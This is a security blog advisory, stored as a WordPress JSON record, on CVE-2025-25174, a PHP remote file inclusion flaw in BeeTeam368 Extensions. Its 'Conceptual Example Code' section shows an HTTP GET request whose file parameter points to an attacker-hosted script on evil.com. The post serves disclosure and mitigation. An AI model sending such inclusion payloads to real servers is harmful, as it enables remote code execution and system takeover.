{"id":64194,"date":"2025-08-20T15:06:35","date_gmt":"2025-08-20T15:06:35","guid":{"rendered":""},"modified":"2025-09-06T13:06:44","modified_gmt":"2025-09-06T19:06:44","slug":"cve-2025-25174-critical-php-remote-file-inclusion-vulnerability-in-beeteam368-extensions","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-25174-critical-php-remote-file-inclusion-vulnerability-in-beeteam368-extensions\/","title":{"rendered":"<strong>CVE-2025-25174: Critical PHP Remote File Inclusion Vulnerability in BeeTeam368 Extensions<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The cybersecurity world is on high alert due to a newly discovered vulnerability labeled CVE-2025-25174. This critical flaw resides in the BeeTeam368 Extensions, affecting all versions up to and including 1.9.4. The vulnerability stems from an Improper Control of Filename for Include\/Require Statement in PHP Program, often referred to as &#8216;PHP Remote File Inclusion.&#8217; This sort of <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-33075-a-critical-windows-installer-vulnerability-that-leads-to-privilege-elevation\/\"  data-wpil-monitor-id=\"72384\">vulnerability can lead<\/a> to severe consequences, including potential system compromise or data leakage. Therefore, it is vital for any organization utilizing BeeTeam368 Extensions to understand this risk and take necessary actions to mitigate it.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-25174<br \/>\nSeverity: Critical (CVSS:10.0)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-27050-memory-corruption-vulnerability-leading-to-potential-system-compromise-and-data-leakage\/\"  data-wpil-monitor-id=\"74819\">Potential system compromise or data<\/a> leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-780270745\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>BeeTeam368 Extensions | n\/a through 1.9.4<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>This exploit takes advantage of the PHP Remote <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52239-arbitrary-file-upload-vulnerability-in-zkeacms-v4-1\/\"  data-wpil-monitor-id=\"74550\">File Inclusion vulnerability<\/a> in BeeTeam368 Extensions. The issue arises from the improper control of a filename that&#8217;s being included in a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-54689-high-risk-php-remote-file-inclusion-vulnerability-in-urna\/\"  data-wpil-monitor-id=\"76586\">PHP program from a remote<\/a> server. Attackers can manipulate this filename to include a file from a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-50754-stored-cross-site-scripting-xss-vulnerability-leading-to-remote-code-execution-in-unisite-cms-5-0\/\"  data-wpil-monitor-id=\"74634\">remote server that contains malicious PHP code<\/a>. Once the file is included, the malicious code is executed in the context of the affected application, potentially leading to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53499-critical-unauthorized-access-vulnerability-in-wikimedia-foundation-mediawiki-abusefilter-extension\/\"  data-wpil-monitor-id=\"72773\">unauthorized access<\/a>, data breach, or even a complete system takeover.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-277971952\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here is a conceptual example demonstrating how an attacker might exploit this vulnerability:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/beeteam368_extension.php?file=http:\/\/evil.com\/malicious_script.txt HTTP\/1.1\nHost: target.example.com<\/code><\/pre>\n<p>In this example, the attacker sends a GET request to a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-48148-unrestricted-file-upload-vulnerability-in-storekeeper-b-v-for-woocommerce\/\"  data-wpil-monitor-id=\"74974\">vulnerable PHP file<\/a> (`beeteam368_extension.php`) on the target server (`target.example.com`). The `file` parameter is manipulated to include a malicious PHP script (`malicious_script.txt`) from a remote <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-9408-server-side-request-forgery-attack-in-eclipse-glassfish\/\"  data-wpil-monitor-id=\"77389\">server controlled by the attacker<\/a> (`evil.com`). If the server processes this request, it unknowingly executes the malicious script, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-50160-heap-based-buffer-overflow-in-windows-rras-posing-system-compromise-risk\/\"  data-wpil-monitor-id=\"78629\">compromising the system<\/a>.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>The best course of <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-7734-critical-gitlab-ce-ee-vulnerability-allows-unauthorized-actions-by-attackers\/\"  data-wpil-monitor-id=\"79501\">action to mitigate this vulnerability<\/a> is to apply the vendor-provided patch. If a patch is not immediately available or applicable, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary mitigation. These systems can be configured to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8059-critical-privilege-escalation-vulnerability-in-b-blocks-wordpress-plugin\/\"  data-wpil-monitor-id=\"76333\">block or alert on attempts to exploit this vulnerability<\/a>, providing some level of protection until a more permanent solution can be implemented.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The cybersecurity world is on high alert due to a newly discovered vulnerability labeled CVE-2025-25174. This critical flaw resides in the BeeTeam368 Extensions, affecting all versions up to and including 1.9.4. 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